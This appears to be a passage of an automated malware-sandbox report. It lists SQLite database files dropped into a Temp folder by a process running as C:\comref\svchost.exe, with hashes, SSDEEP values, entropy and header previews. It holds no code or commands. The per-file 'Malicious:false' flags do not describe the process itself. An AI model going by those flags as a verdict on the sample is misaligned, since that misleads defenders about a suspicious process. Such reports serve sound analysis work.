                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\L1gjXWJYYr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\L21sbTTxmo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\L9xikfAntt

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LC3jZQ0TdQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LP1tkKrQbU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LRzgqwytll

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LUAMPIdxsr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LXvYLiTK9n

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LYZ3WUOlAa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LtLchCAi4O

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\LtORcMSgg0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\M0GP1Gu8OC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MEZfbykzAr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MOJJPsr9Mx

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MYU2ldYCA3

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MdBfaNHkqO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Mi4ZYqtmrO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MqyZuEoU12

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Mxj7t1e7if

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\MzsaNTRZch

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\N5avHn7n0Q

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\N9EBPSIil1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NBT1jkkyGz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\NJQ7eAyO9R

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
